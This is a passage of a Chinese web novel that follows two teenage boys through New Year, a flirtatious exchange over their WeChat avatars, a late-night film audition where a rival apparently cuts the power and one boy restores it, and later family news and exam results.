“哈哈哈哈快吃饭，”季满谦说，“吃完下楼放烟花。”
在新的一年到来之际，天色始终不曾全暗，总有烟花闪亮其中，缀出一抹抹明亮。
季杭弯腰点燃一箱，只跑了几步，身后烟花呲的一下炸上天，映亮他和司云起之间的距离。
他偏着头，在明亮的烟花中朝司云起笑。
人们常说烟花美丽，只有一瞬。
然而在烟花最美丽的一瞬中，季杭的笑映在了司云起的记忆里，不曾消弭，历久仍新。
……
回家后司云起拿出手机，看到舒木发来的消息。
他加上副导演的微信，那边很快发来一句，试镜时间已经和助理约定好了。
司云起纳闷他哪来的助理，问副导演是谁。副导演把“助理小季”的微信页面截了个图发给了他。
点大这人的微信头像，司云起失笑。
零点到来之际，他和季杭同时打开房间的门，都想走向对方的房间，在看到对方也是一样的动作时，笑着停在原地。
“新年快乐，司云起。”
“新年快乐，季杭。”
季杭说完后回房间，看到自己刚申请的小号有条验证信息。
这是谁来加自己？验证消息是空的。
而且头像好奇怪，竟然是洒在地上的一捧小米。
他点开这个人的主页，惊奇地发现，这是司云起！
因为他没通过验证，司云起又申请了一次。
季杭连忙通过，然后看着司云起的头像发愣。
【 . ：助理小季。】
【助理小季：啊？】
【 . ：就很想问问你。】
【助理小季：什么。】
【 . ：看着我的头像，你想不想啄几口？】
84.【小鸡 小米】
指尖在手机键盘上静止了会儿，“不想”两个字都都已经打出来了。
可看着屏幕上的小鸡和小米面对面，季杭绷紧下巴，删掉后重打。
【助理小季：……想。】
【 . ：给你啄。】
……这怎么啄。
司云起有病。
他纠结着回复，另一个微信语音响了。
是曹书望。
他暂时搁置回复司云起，接了语音。
曹书望咋咋呼呼，“季杭，你看到没！”
季杭：“什么？”
“司云起的头像啊，”曹书望惊道，“我给你发完消息，寻思着给司云起也发条吧，第一遍没找着他人，你猜我为什么搜不着他？”
季杭：“因为……他换头像了？”
“对！”曹书望愣了两秒，问：“诶？你俩不是睡一屋吗，怎么他换个头像你也发现这么快。你俩睡一张床还用微信交流啊。”
司云起已经搬出了自己的房间，这事儿曹书望不知道。
季杭也觉得没必要单独和他说这个，显得很怪。
季杭说：“他换头像有什么好惊讶的。”
“你不觉得他现在这个头像很神经吗？”曹书望说，“大过年的，什么好人把头像换成一把小米啊。”
季杭把手机从耳边挪开，点亮屏幕看着另一个微信上和司云起的对话框，犹豫道：“也许、我是说也许，是因为我呢？”
曹书望：“因为你换成小米头像？”
季杭“啊”了一声。
曹书望睿智接话：“你怎么不说他为了你变成狼人模样呢？”
季杭：“……”
“咋，他换小米头像是为了让你珍惜粮食啊，”曹书望补话。
季杭：“……书望，闭嘴吧。”
曹书望：“被你一打岔我都忘了原本要说什么了，我昨晚刚刷到个视频，说土象星座喜欢人的表现很抽象，这得他们喜欢的人很自恋很自恋才能发现。举个例子，比如我是土象，我喜欢你，季杭的名字缩写是jh，jh不也是机会的缩写吗，因为我抽象，所以我会把我的微信名改成‘给个’，懂吗？”
连线莫名卡了一下，季杭听到的时候有几秒延迟，他蹙眉重复：“gay了？”
曹书望沉默了。
季杭嫌弃道：“这哪里是抽象，这不是抽风么。”
“给个！是给个！你耳朵瞎了吗！”曹书望吼道：“给个！连起来就是‘给个机会’啊！”
季杭也沉默了。
“……明白了，”顿了顿后季杭说。
曹书望吐出一口气，分析道：“我怀疑司云起这小子也在搞抽象，他把头像换成小米，好难猜，难道是因为他喜欢的人名字缩写是xm？”
季杭不赞同，反驳道：“万一换成小米是因为有人、有……爱吃呢。”
“没听清，你说什么爱吃？”
季杭空咽一口虚无，指节蹭了下眉骨，抬高音量：“小鸡爱吃啊。”
“笑死了，”曹书望说，“你猜的什么啊这是，司云起怎么可能喜欢小鸡。”
不可能喜欢小鸡。
那会喜欢小季么。
还是就如曹书望说的那样，这是一个给别人的告白呢。
“算了，你都get不到。叔叔呢？我要给他打电话祝新年快乐，他咋没接呢。”
“他头疼，已经睡了。”
“这么早啊，好吧，那我给叔叔发个消息。”
“明早我帮你转告。”
……
挂断电话后，季杭想曹书望的话，想了好几天。
学校是初七开学，初六下午整理作业的时候，季杭耐不住了，跑到司云起房间。
随意般溜达好几圈后，他轻咳，问：“二十六个字母里，你最喜欢哪两个？”
司云起看了他一眼。
季杭抓紧又咳嗽了一声，为了不太明显，也因为他心虚，他改口：“说一个你最喜欢的就行。”
司云起问：“为什么非得喜欢字母？”
季杭：“……”
也是。
神经病啊自己。
真是被曹书望带跑偏了，这几天一直琢磨xm到底指什么。其实那就是曹书望的猜测，自己还真信了。
他转过身，忽地听到司云起问。
“一个？”
季杭回头。
j和h里面司云起挑不出来，他索性直接选了这两个字母中间的。
“i。”司云起说。
悬着的心突然就有点死了。
季杭“哦”了一声，去到客厅玩手机。
看似玩手机，实则是去问曹书望“i”这个字母能延伸出来什么含义。
不知过了多久，司云起从房间走出来。
倚在门框处看了季杭一会儿，司云起心想，季杭问自己最喜欢哪个字母，那自己回问一个问题也很正常。
礼尚往来而已。
“季杭。”
季杭随着司云起的声音抬眸。
安静了片刻，季杭听到司云起问：“你喜欢一个人的话，会怎么表白？”
他呼吸倏地错乱，喉间像被什么哽住，声音很是：“你有喜欢的人？”
“嗯，”司云起说，“打算表白，但没想好，问问你有主意没。”
司云起打算通过季杭的回答，判断他喜欢的表白方式。
表白是为了喜欢能够被对方坦然接纳，也是渴求对方的爱。不管成功与否，司云起都希望这个过程能够让季杭开心。
“我、我记得你是不是还没18岁，你这就打算表白，太早了吧……”季杭用力摩挲着食指关节，那一处被蹭得发白，他尽全力平稳心神，“那你喜欢的人她、她多大了？成年了吗？”
司云起注视着他：“也快了。”
是同龄人，也许还是班级的某个同学，季杭心底一片死寂。
“太早了，”季杭说。
这人如此恪守规定的么，那等他成年后再表白也不是不行。
“提前问问，如果是你，喜欢什么样的表白方式？”
季杭心里混乱，既不想司云起谈恋爱以免日后进入娱乐圈被诟病，又因为司云起喜欢别人而有点难过。
他自然是有喜欢的表白方式，这在他意识到自己喜欢司云起时就想过，有朝一日可以表白的话，他一定是注视着司云起的眼睛，虔诚郑重地说出喜欢。
可在这一刻，他出口却成了：“写情书表白吧。”
“……”司云起看着他，语气中有几分不理解，“你喜欢这种？”
季杭梗着脖子，“嗯，喜欢，大家都喜欢。”
司云起煞有介事，打算提前练练情书。
可当他拿起笔时，又是一个字也没写出来。
季杭跟了过来，问自己怎么不写。
司云起转头注视着他的侧脸，说：“非得是情书么，我不会写。”
“对，”季杭肯定道，然后又说，“我教你吧。”
他教司云起写“我喜欢你”，看司云起落笔后慌忙把纸抽走，胡诌说得用左手写，说左手靠近心脏，说左手写的慢，这样才代表诚心。
也不知道当时的他哪来那么多鬼理由。
可司云起就那样照做了。
最后季杭拿着那张纸，心间笼罩着难言的酸涩。他将歪歪扭扭的四个字还给司云起，借口要去找曹书望，实则在外面天寒地冻的冷风中吹了很久。
他似乎是想让冷风吹灭不甘，却从没分清楚——
当喜欢未能得偿时，不论承认与否，必然伴随着不甘。
那是他们陪伴彼此度过的第一个新年，也是迈入成年的第一步。
过年那几天，楼下邻居见到季满谦和季杭后，说：“小杭，过了年是不是就十八了？”
季杭正要点头，季满谦说：“没呢，没过生日还是十七，还是小孩。”
“虚也能虚到十八了，”当时季杭说。
可到底是虚岁，到底是少年心性。
有着说喜欢就敢认定一生的稚气，也有着摒弃自己所有感受只为对方的决绝。
要么永远相伴，要么同归殊途。
季杭只以为他们永远没可能在一起，又突然从司云起口中得知了他有喜欢的人，同归殊途的念头更甚。
以至于他愈发想让司云起的路能走顺遂些。
早晚会不顺路的，起码，起码他
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在司云起身边时，总想帮到些什么。
……
寒假后的学习更是紧锣密鼓，没有一点休息的时间，精神高度紧绷着。
季杭和司云起离多聚少，一个埋头在联考省考几模中，另一个拉着行李箱独自去参加校考。
他们时间凑不上，连说话都成了奢侈，在那段慌乱的时间里，唯一能作为慰藉的，竟然是两个头像。
小鸡和小米隔着手机屏的距离对望，聊天框里的最后一句还是司云起说的——
“给你啄。”
季杭无数次点开这个微信号，点开和司云起的聊天框。
看着看着，总能露出傻笑。
司云起也是一样。
有次排队的时候，后面排着的男生着急上厕所，就拍了拍司云起的肩，请他帮忙拿下自己的包，也算是帮自己站着队。
等他回来的时候，司云起一直低着头看手机，起初他怕打扰，没要回包。过了好几分钟，他斜眼看去，发现前面这个人一直在看聊天框。
他瞄了眼，笑道：“哥们，和对象聊天呢？”
听到他的声音，司云起把包还给他。
“你俩的情侣头像还挺独特。”男生说。
司云起没回话。
男生找话道：“你俩在一块多久了啊？”
司云起终于看了他一眼，目光冷峭。
“咳，”男生笑笑，说：“那啥，我叫乔炎，交个朋友呗？”
司云起转回头的同时，手机屏也灭了，他淡声回：“不必。”
这本来就是司云起的性格，他不会一时兴起想去和谁交朋友，也不会随便应下别人的话。可这一刻他突然想起来之前曹书望说季杭喜欢热情的人。
那……
后面叫乔炎的男生，不管人怎么样，但话中听。尝试热情一点也未尝不可。
于是他转身，面无表情，嗓音无感情，冷冰冰说：“司云起。”
乔炎：“……”
搞什么。
下一秒，司云起问他：“我热情么。”
乔炎：“……”
完了，好像遇到疯子了。
但是被司云起一眨不眨地看着，他觉得要是自己说否定的话，可能有点危险，果断道：“热情！非常热情！”
司云起解锁手机，对着助理小季的聊天框打字，几秒后发出去了。
【 . ：刚才有人说我热情。】
随后他打算让乔炎说句话，证明真实性。
这是一个课间，联考的成绩刚发了下来，季杭偷摸拿着手机去到楼梯间要给司云起发消息。
字还在打，小号就收到了消息。
他一激动，停留在输入框里很久的话发了出去。
【助理小季：想啄，啄不到。】
然后他又一激动，把撤回点成了删除……
聊天顶部显示对方正在讲话…
季杭屏住呼吸，死盯手机。
乔炎也屏息，司云起让自己带感情的说句“司云起这个人太热情啦”，手机也举了过来，语音甚至都点上了。
他心里吐槽了几句，正要说。
司云起突然愣了下，紧随着收回手机转身，再没看自己一眼。
季杭按捺着紧张，上课铃响了，他不得不回到教室。
在他踏入教室门的刹那，手机振动了下。
季杭立刻借口说肚子疼，跑到厕所里。
打开手机后，司云起的回复映入视线。
【 . ：回去了给你啄。】
他揣起手机，带着笑意转身时看到在身后盯了他全程的教导主任。
……
在学习最紧张的时间段，季杭公然跑到厕所玩手机，导致手机被没收了半个月。
期间他只能抽着晚上的时间给司云起打电话，大多时间对方在忙，极少次能接到。
放假时季杭从皇后那拿回手机，算着时间司云起也快回来了。点开微信消息后，他得知司云起要先去试镜，试完后再回来。
本来没什么，但季杭用助理小季的微信打开朋友圈，看到了导演助理的朋友圈。
司云起要试镜的这部剧，还有个人——
丁熙年。
85.试镜
电影导演在业内名气不小，也是舒木认识了很多年的老朋友。
筹备开拍的是喜剧，主角都已经定好了人选，独独留下了一个配角。
这个配角要在喜剧以及整体氛围中呈现出他的特有悲凉，最后的结局也很隐晦，给观众的留白空间大。
即便台词和出镜都不算多，但对演员的要求极高。因为他不能扰乱电影的基调，也不能脱离角色本身。
提到这个角色时，导演说打算启用新人演员。
最好是从来没在大众前出现过的人，这样所有观众都不会提前对这个角色带有任何滤镜和好奇。
舒木想到了司云起。
联系司云起，交代好试镜的事情后，她有工作安排，去了国外。
有很多次的试镜失败在前，舒木本想亲自陪司云起走完流程，但那边工作急。这个导演她了解，选人很严苛，不会轻易被旁人左右。这点让她很放心。
而他也确实是严苛，对于这个角色，更是严苛到了极致。
试镜三轮后，还剩下二十多个候选。
导演包了几间宿舍给他们，三轮后迟迟不说什么时候再试，就干耗着。
有几个被他耗烦了，直接跑了。
司云起所在的宿舍住了四个人，跑了两个。就剩了他和另一个男生。
另个人虽没走，但睡前也没少吐槽。见宿舍就剩他们两个了，司云起还是不理他，躺床上睡了。
司云起的床靠窗，不经意间往外一瞥，目光便黏在了某个影子上。
某个——
本该刚下晚自习、走在回家路上的人。
而这人，傍晚的时候还给自己发了条消息，说曹书望和路柯一定是学疯了。
季杭照着之前不经意间从司云起口中套出来的地址找了过来，这荒郊野岭的，盖了个三层小楼。
季杭进大门时，门卫先是拦了他一下，然后又眯着眼，说：“你跑出去玩了？这么晚才回来。”
知道门卫是认错人了，季杭搪塞地应了句，跑了进去。
虽然这眼前的三层楼也不高，但司云起在哪季杭还真不知道。
犹豫间他想给司云起发条消息，忽然见有人影打着电话往这边走了过来。
季杭躲开，听到人影说：“熙年啊，你先别睡呢啊，应该就是一会儿的事儿。会有人把你们喊起来，挨个去试镜……啊对对对，是我负责……没听清你说什么……这次导演人是不在现场，但他在监控后面看着呢，要看你们大半夜的被叫去试镜的状态和表现力，而且他不在，肯定有觉得不重要应付了事的……这应该是最后一次了，行，那你好好准备，我去收拾场地了。”
听他这样说，季杭对丁熙年的厌恶愈增。
有那么几秒，他想自己是不是应该知会司云起一声，但很快就被他否了。
随后他看了看背后漆黑空荡的楼道，不打算给司云起发消息了。
他怕自己的突然出现会影响司云起，免得他去试镜还要分心顾着自己。
楼上传来脚步声，响在寂静的夜里，距离季杭越来越近。
这个时间点，大可能是工作人员在巡楼。他匆忙跑开，沿路推了推各个房间，终于有个能推动的，便躲了进去。
也不知道巡楼的人会不会打开房间的门，季杭蹲在门后，为防止电视里躲藏时手机突然响的情节出现，他果断开了勿扰。
司云起下楼后找了一圈，没找到人。
他给季杭先后打了语音和视频。
手机在季杭的羽绒服口袋里亮着光，连振动都没有，自然没被察觉。
难道是自己看错了？司云起心道，还能是因为自己太想那人，出现幻觉了么。
他走去门卫室，问刚才有没有进来一个不眼熟的男生。
门卫戴上老花镜，说：“只有眼熟的男生跑出去，哪能有不眼熟的男生进来啊，哦对，那不刚才还有个在外面玩野了，刚跑回来的。要我说，你们都老实点吧。”
真的是自己看错人了吗。
手机没有季杭的回拨，司云起绕着楼道又找了一圈，还是没找到人。
倒是这院子里的灯都亮了起来，常跟在导演身边的助理拿着锣在下面敲，边敲边大声喊：“试镜——出来试镜——”
只是看了眼楼下的时间，有扇门就被打开了。
丁熙年甚至都穿好了角色的适配衣服，走出来时脸上挂着莫名的自信。
看到司云起，他笑得轻蔑，“呦”了一声，“你这是知道许阿姨半个小时后来接我，特意提前等着她呢？”
不等司云起说话，他又说：“我说我在这睡得不舒服，许阿姨立马联系了导演，要接我走。这是也联系你了？”
他的话激不起司云起半分情绪。
“和我有什么关系，”司云起淡声道。
看着司云起波澜不惊的表情，丁熙年突然烦躁。
许凡君是在自己小时候就陪伴在身边的，起初他很排斥这个女人。但后来在她无微不至的呵护下，他越发喜欢她，还想提前改口叫她“妈妈”。
向来宠他的许凡君却没有同意，给出的理由是她和丁宇辉还没有结婚，改口名不正言不顺的，当时他信了。
后来有次，许凡君在宴会上多喝了几杯酒，回家后目光温柔地看着他，说出来的却是另一个名字。
他把这件事添油加醋告诉了丁宇辉，本以为会是许凡君的初恋之类的，没想到丁宇辉查出来的结果——
那个念在醉酒后许凡君口中的名字，是她的儿子。
自那刻起，丁熙年对这个素昧谋面的……兄弟，起了浓重的嫉妒心。原本丁宇辉不太介意，但受他的反应影响，丁宇辉便不允许许凡君和她的亲生儿子相认，还扬言能毁掉司云起的人生。
丁熙年挖苦道：“其实这个角色和你挺像的，都是孤儿。本来我真不想和你争的，但许阿姨非让我来试镜，没办法，拗不过她。”
司云起依旧搜寻着季杭的身影，不在意道：“你早早换好衣服，就为了留时间对我说这些么。”
丁熙年的话被他堵了回去。
司云起扫了他一眼，转身回到宿舍。
几分钟后，一群十七八岁的男生在一楼大厅集合。
副导演看了一圈，指丁熙年，说：“熙年来的最早，那就他第一个来吧，别人都去外面等着，喊谁名字谁进来。”
往外走的时候，三四个男生商量。
“大晚上试戏？这不是玩咱们的吧？”
“导演人都没在，肯定不重要，干脆回宿舍得了，在这冻着说不定要等多久，要不咱回去吧？”
“又是丁熙年先进去的，什么好事都是他第一个。”
“算了别说了，老实等着吧。”
“那你等，今晚试了也白试，拍板的人还得是导演，我回去睡了。”
见有人带头走了，深夜也确实冷得要命，陆续也有人回去了。
导演在监控室看到这一幕，气道：“只知道人前表现，这点坚持都没有，能做好什么！”
不过看到始终等在原地的司云起时，他的脾气稍稍和缓了些，自言自语道：“舒木的眼光确实不错，这小子是个好苗子。”
他瞄了眼室内的监控，见丁熙年结束了才点大，叹了口气。
要不是钱都投入市场还没回本，这部电影的赞助里有丁宇辉，他早在第一轮就把丁熙年淘汰了。
这家伙演戏就像背课文，还很自我感觉良好的五官乱飞。
生生忍他到现在，也是最后一次试镜了，这时候把丁熙年淘汰还算说得过去，大不了下部戏给他找个不重要的角色。
导演仔细看着接下来的每一个人。监控视角很高，往常试镜大多是关注演员的正面，这样开发出了另一个角度。
这也是导演的用意。
他前期把表现力可以的留下来，最后一次要换个角度看他们的演绎如何，因为在影片中，这个角色很少会直面镜头。
果然，换了个角度后，他看一个啧一个，在名单上一个个划掉。
很快就淘汰完了，名单上只剩下司云起的名字。
就在这时，电脑突然黑屏，房间内的灯和暖风机也都关了。
导演大喊：“怎么电脑关了？”
季杭正在找路，路过这间时，一直亮着的灯突然灭了，他还打算躲一下。
谁知下一秒就听到里面传出来的声音——
“喂，怎么停电了？”
顿了顿，里面男人的音量拔高：“没停？胡说，我在监控室盯着试镜呢，马上到司云起，一下子就停电了。什么？你那边没停？”
季杭不知道他们是在哪里试镜，但现在以肉眼看，一层看不到有亮灯的地方。他跑到台阶下，看到二三楼零星有几个房间亮着光。
心里顿时生出不好的预感，季杭找不到别人，没多想便推开监控室的门。
他看不清里面的人，焦急地对着黑影问：“这里是一室一闸吗？”
导演懵了，想了几秒，说：“是。”
“电闸在哪里？”
这里盖了好几年，一时之间导演也没想起来。
季
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杭等不了他的回答，直接跑向门卫室，又问了一遍。
门卫纳闷着给他指了路，说：“闸在外面呢，咋了啊这么着急，你等会，我给你找个手电。”
他转身的时间里，季杭已经跑远了。
门卫说电闸在楼后面，楼四周都是大石块，季杭急着跑，没留意脚下的路，被石块的间隙绊倒，重重地摔了下去。
手机甩了很远，手腕蹭在冬夜的石块上，钻心着疼。
他顾不上自己，爬起来去拿手机，磕磕绊绊地终于到了电闸箱。
他打开电箱，借着手电光，看到唯一被拉下的一个——
对应的正是监控室。
季杭扯起嘴角笑了下，合上闸往回走时踩到个东西。他弯腰，捡起来一块手表。
和一直在冷风中的石块触感不同，石块透着蜇人的冷，这块手表还残留着人的体温。
是丁熙年的手表，季杭上次打他时见过。
季杭握着手表，又回到监控室。
他到的时候，电脑上的画面已经没有了，他有些忐忑地问：“导演，能不能再试一次镜？”
导演手里拿着名单，笑着答：“为什么，我已经定好人选了啊。”
季杭犹豫着，想把突然停电导致司云起的画面没被看到这件事解释清楚，忽地听到导演说：“你是哪个？我给忘了。你、你今晚跑回去睡觉了吧。我跟你讲，不会再有下一场了，我就定司云起。”
本以为这小子会沮丧离开的，没想到！
这小子愣了几秒，然后朝自己跑了过来，一把抱住了自己。
“谢谢导演！”
导演：“…………？”
推开季杭，他这才仔细看了眼，疑惑道：“你是哪个？”
季杭克制着笑意，大声说：“司云起助理！”
“他也有助理？”导演笑着说，“刚才问我电闸的人是你啊，也是你合上的？怎么回事，跳闸了？”
季杭没回答，转而问：“您看到司云起的试镜了？”
“看到了，电突然又来了，打开电脑的时候司云起刚演到一半。”
“那就好。”
很少见到这样情绪真实的少年了，导演拍了拍季杭的肩，“你做助理，可惜了点，有没有兴趣和司云起一样进组拍戏？”
“没，”季杭摇头，“我守着司云起就好了。”
导演笑了几声，说：“你等会儿吧，我去公布消息，天亮了就都可以离开了。”
电脑桌上还有被他落下的名单，季杭拿起来，“导演，名单您没拿。”
名单上有二十三个名字，二十二个都被用黑色记号笔划掉了，只有司云起的名字完好无损。
“没事，用不着了。”导演说。
既然用不着了，季杭萌生了把名单收藏起来的想法，他收进口袋，这才有时间注意手腕的划痕。
被蹭掉了一层皮，看起来有点吓人。他缩手躲进衣袖里，站到门口等着司云起。
过了几分钟，他看不到任何人，便跑去二楼，视野更广了些。
他百无聊赖地等着，没等来司云起，却是先看到了导演和许凡君站在一起。
旁边还有个男人，季杭不认识。
他们交谈的声音很小，季杭听不到，可当他看到男人伸出手，导演纠结半分钟后握了过去时，心里凉了大半。
很快，丁熙年跑了过去，很是亲昵地揽过许凡君的胳膊。
季杭不欲再看，却在转身时听到丁熙年喊——
“云起。”
季杭心一惊。
下一秒，司云起出现在视线里。
丁熙年说：“云起，这些天你也挺累的。”接着他转头对许凡君说：“许阿姨，虽然这个角色给了我，但是云起表现也很不错。”
下面很暗，季杭看不清每个人的表情，他也不想再让司云起听到丁熙年任何一句话。
所以他倚着栏杆，轻蔑道：“司云起的表现如何，你有什么资格讲？”
刹那，楼下的几个人都顺着声音看了过来。
隔了段距离，季杭依稀看到司云起的眸光中闪过一丝惊喜。
他伸手把手表和名单扔了下去。
手表传来落地碎裂的动静，季杭被一层昏暗的灯映着，注视着名单飘落。
他扬出笑意，眼神中有着对这个结果的轻蔑，还有着敢一万次陪司云起迎接结果永不止步的少年意气。
他带着锐气和棱角，语气如胜利般明朗，一字一字击碎此刻的结果：
“司云起——赢的人是你！”
86.国庆快乐！
“来了没有和我说，也不接我电话。”司云起找出消毒棉签，垂眸去抓季杭的手时，动作忽然缓了几秒。
他保持着静止的动作，问：“给你消毒，行么。”
季杭明明记得他的手一直缩在衣袖里来着，什么时候被司云起看到的？
“你扔手表和名单的时候，我看到了，”司云起抬眸，问：“怎么碰的？”
季杭含混道：“没注意，可能不小心蹭哪了吧，一点也不疼，没事。”
司云起“嗯”了一声，垂眸继续看着这人的手。
沉默着对峙良久，季杭把手伸了过去，面不改色：“就是看着严重，实际上一点也不疼。”
司云起没回话，用了好几根棉签给他消毒，但是这里没有纱布。
他虚托着季杭的手背，看着碘伏晾干。没多会儿，他忽然说：“为了帮我才伤到的，对么。”
这不是疑问的意思，更像是肯定句。
季杭觉得这些和“为了”没关系，因为这些都是他自愿的，司云起不需要心生愧疚或是别的什么。
所以他摇头，说：“没有，你别瞎想。我真不知道这是在哪蹭的，也真的不疼。”
“那……”司云起有点执着地问，“你为什么来这里找我？”
季杭的语气一如往常般随意轻松，“这段时间的压力太大了，想逃离学校，又不知道去哪。”
良久，司云起点了下头，像是回答季杭的话，也像是对他自己说的，“这样。”
季杭拿出手机，试图解释他为什么没接电话的事情。
手机亮屏后他却看到了很多来自曹书望的未接。
因为开了勿扰，他一点都没感觉到。
“书望给我打这么多电话做什么，难道我翘了几节课被皇后发现了？今晚上她不在啊……”
他解锁了屏幕，看到曹书望还发了几条语音。
点开转文字的一刹，他整个人一僵。
司云起察觉到他的不对劲，攥紧了他的手背，轻声喊：“季杭？”
季杭猛地站起身，幅度之大，直接甩开了司云起的手。
他喉间像被什么堵住，哑着嗓音说：“回家。”
……
学校里下晚自习后，曹书望把季杭的书包给他送回家，敲开门后还没和季满谦说句话，季满谦就直直地晕倒在地。
吓得曹书望立刻打120，又给季杭打电话。可当时的季杭压根没看手机。
送到医院的途中，他给季杭发了语音。
……
季杭和司云起辗转回去时，天色稍显亮。
季满谦已经醒了，在输液。
想着曹书望第二天还要上学，他拜托护士帮他撒了个谎，让曹书望回去睡觉了。
然后他想着过年时头疼去医院拍的片，心底一片凄凉。
他还没做好准备，不知道能撑多久，又该怎么让季杭面对这些。
他左思右想，想着得瞒住。
先借口说是低血糖吧，不然晕倒用别的理由还真不好让人相信。
季杭到医院后，看到清醒、面色无异常的他才稍稍放心。
“爸，我说晚上不回家吃你也不吃饭了啊，那我以后还怎么敢出去上学，我不在家了你就一天三顿都不吃了啊，”季杭坐在他身边，给他喂了半碗小米粥，蹙着眉心说，“以后可不能这样了，真的吓死我了。”
季满谦笑道：“都是小问题，你不也中暑晕倒过吗，我也没被吓死。”
乍然提起这个，季杭下意识看了司云起一眼，顿了顿，说：“那不一样，我中暑的时候身边有司云起，你晕倒的时候身边一个人也没有，这还不吓人啊，要不是书望去咱们家，我都不敢想。”
“没事，”季满谦宽慰他，“身边没人也没事，在地上躺会自己就又起来了。”
季杭不满道：“爸！”
“好好好，以后好好吃饭，不管你们在不在，”季满谦笑着看向司云起，状若随意，“小司也见证，我肯定照顾好自己身体，小司……你、也一定要一直在季杭身边啊。”
说完后季满谦又补充了句：“你俩相互照顾，要不谁中个暑我都不放心。”
只因季杭和司云起都在季满谦编织的谎言中得以虚惊一场，他们没能听出来这句话的另一层意思。
天亮后还有繁重的课业压力在身上，反复确定季满谦没事后，季杭和司云起回了学校。
之后的时间里，季杭全心备战高考，司云起偶尔去学校几天，更多的时间准备体检和复试。
……
四月上旬，校考成绩陆续公布。
季杭不知道具体哪天出分，一直按捺着没主动问司云起。
倒是曹书望先忍不住，在物理课后晕晕欲睡的一个课间，他看到季杭和司云起并肩从后门走了进来，问：“你那艺考，怎么着呢？”
季杭眨了下眼，喉结滚了几圈，表现得比司云起还紧张。
曹书望见着季杭的表情，“不是吧，都没考上啊？”
他觉得季杭肯定知道，这个表情就代表着没考上的意思。
“唉，”曹书望抬手去拍司云起的肩，“没事儿昂，你学习成绩好，不行还是老老实实走高考吧。”
班级里已经有些半睡半醒的人竖起耳朵了。
“你也耽误了挺久，前俩月光跑校考复试体检什么的了，这知识不会都忘光了吧。”曹书望打着轻松氛围的意思，“有啥不会的，哥教你。”
他说了一通，季杭和司云起都没人回他的话。
反倒季杭一脸凝重地看着司云起，几秒后，小声问：“校考成绩出了？”
司云起淡声道：“出了。”
曹书望：“？不是，季杭你不知道结果啊？”
季杭攥紧拳心，“怎、怎么样啊。”
司云起很平静：“还不错。”
曹书望：“？啥意思，还不错是怎么个不错？”
司云起瞥了他一眼，目光又落在季杭脸上，说：“第一。”
！
！！
伏在课桌上的脑袋都已经支起来了。
曹书望惊讶道：“哪个学校啊？”
司云起扬着声音“嗯”了一声，顿了几秒，说：“都是。”
有史以来最提神醒脑的消息诞生了。
原本趴倒了一片的教室霎时人人精神，纷纷起身。
“哪个意思？‘都是’是哪个意思？”
“考的学校都是第一？？？”
“司云起你有点太牛逼了，今晚放学回家我要看热搜！”
“……好、牛、”
……
在连绵不绝的感叹声和别人的簇拥中，季杭一步步被挤出人群，看着越来越多的人走向司云起，或感慨或祝福的声音响在耳边，他恍了下神——
当司云起身边尽是掌声和鲜花时，他还能够站在司云起身边么。
可等他凝神继续看去时，却看到司云起朝自己一步步走了过来。
直到停在自己身前三两步的距离，司云起说：“今天刚全查完，想等晚上告诉你的。”
曹书望揽上季杭的肩，“这下不用晚上说了，晚上咱们去庆祝吧。”
“庆祝什么？”
熟悉的女声一出，围在一起的人群倏地散开。
黄侯拿着成绩单站在讲台上，“曹书望，就你声音大，来先看你的成绩。”
曹书望：“……”
“行了，”黄侯把成绩单投屏，“都看看这次的成绩，离高考不到五十天了，把心思收收……”
整个教室的人，第一个找自己的名字，第二个找司云起。
也不是多关注他，主要是曹书望刚说了司云起前两个月都没在，文化课估计得落下一些。
他们大多看向中间的排名，却没找到司云起。
路柯眯着眼睛，嘀咕道：“拽哥考试了啊，咋看不到他的名儿？”
楚云回头，说：“他排我后面。”
路柯：“……？”
紧随着别人也都找到了司云起的名字，碍于皇后在场，也不好狂飙牛逼二字。
因为司云起，将近两个月没来上课，刚来后赶上模考，竟然还考出个班级
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第四！
这家伙以后不大红大紫都对不起这脑子。
当晚季满谦做了一大桌子菜庆祝，曹书望因为成绩十分不理想，被扣在家里了，丧着脸给季杭打电话说改天再找个时间一起吃饭。
这一改天，就到了五一假期。
季杭和司云起去找曹书望，碰面后给季满谦打了个电话。
他嘱咐季满谦晚上记得吃饭，冰箱里有他买的菜，说他和司云起不回家吃饭了。
挂断电话后，他瞟了眼旁边站着不动的曹书望，推了他一下，问：“干嘛呢，怎么不走？”
司云起开口道：“季杭。”
“嗯？”季杭转头，看到司云起的目光落在前面。
他顺着看去——
站在前面不远处的，是成芜。
仔细算来就只是去年年前匆匆见了两面，看到的一刻季杭还是很快认了出来。
成芜看起来有点紧张，站的很直，一眨不眨地看着季杭这边。
曹书望本以为季杭会和上次一样，不过多理会这个小姑娘。他琢磨着实在不行这顿饭继续延后，他带小姑娘去吃饭。
结果季杭突然走上前。他要跟上时，被司云起拦住了。
季杭走近了些，“你怎么来的？”
“和妈妈一起，”成芜说，“妈妈在酒店。”
“哦，”季杭问：“你来找我吗？”
成芜犹豫几秒，点点头。
许是因为上次他在房间里，听到司云起对别人说，面对成芜的出现，不论什么反应都是他的自由。
又可能是因为，其实他只是难以接受，但并不讨厌这个妹妹。
季杭微微弯腰，在见面第三次时，问出了第一次该问出的问题：“你为什么来找我？”
这一句再简单不过的话，问出来，代表他有点期待成馥和成芜的爱了。
而第一次没有问，是因为过了十几年，他觉得成馥或者成芜的爱对他来说早就没意义。
但从相见后到现在的时间里，他开始接纳内心深处的想法了。
对于亲近之人的离开，人们总是习惯口是心非。要么是说些扎人的话，要么是做绝情的事。
不论什么，都是伤人伤己。
最初季杭确实在想，他这一生都不会再喊成馥一声妈妈，也不会和这个从未见过面的妹妹亲近半分。
可当时他站在楼上看着成馥带着成芜离开时，心里隐隐的疼骗不了自己。
那时候他就觉得有点可笑。
他觉得他被抛弃了，可是成馥没有错，成芜更没有。他在用一种很可笑的方式伤害成馥和成芜，而他亦是不能好受。
……
成芜的话也没有让他失望。
“很小的时候妈妈就告诉我，她有两个孩子，你是她第一个爱的孩子，我是第二个。她一直在找你……但是季叔叔和她没有联系，带着你搬了家，她打听了好久才知道你在这里。刚开始见到你时，她没认出来你……季杭，你不要怪她，这些年她连你的照片都没有……”
“我没有怪她，”季杭告诉成芜。
他从没有怪过成馥，小时候的事情记不太清楚，但这些年里每每想到，都是成馥带给他的爱和温暖。
成芜便问：“季杭，那你怪我吗？”
“也没有，”季杭说。
成芜抿着嘴笑了。
“我们要去吃饭，”季杭问成芜，“带你一起去，还是把你送回酒店？”
“回酒店！”成芜很开心，“我要先回去告诉妈妈，然后带着妈妈和你一起吃饭！”
季杭回头，看向司云起。
他并未说什么，跟着成芜往前走。
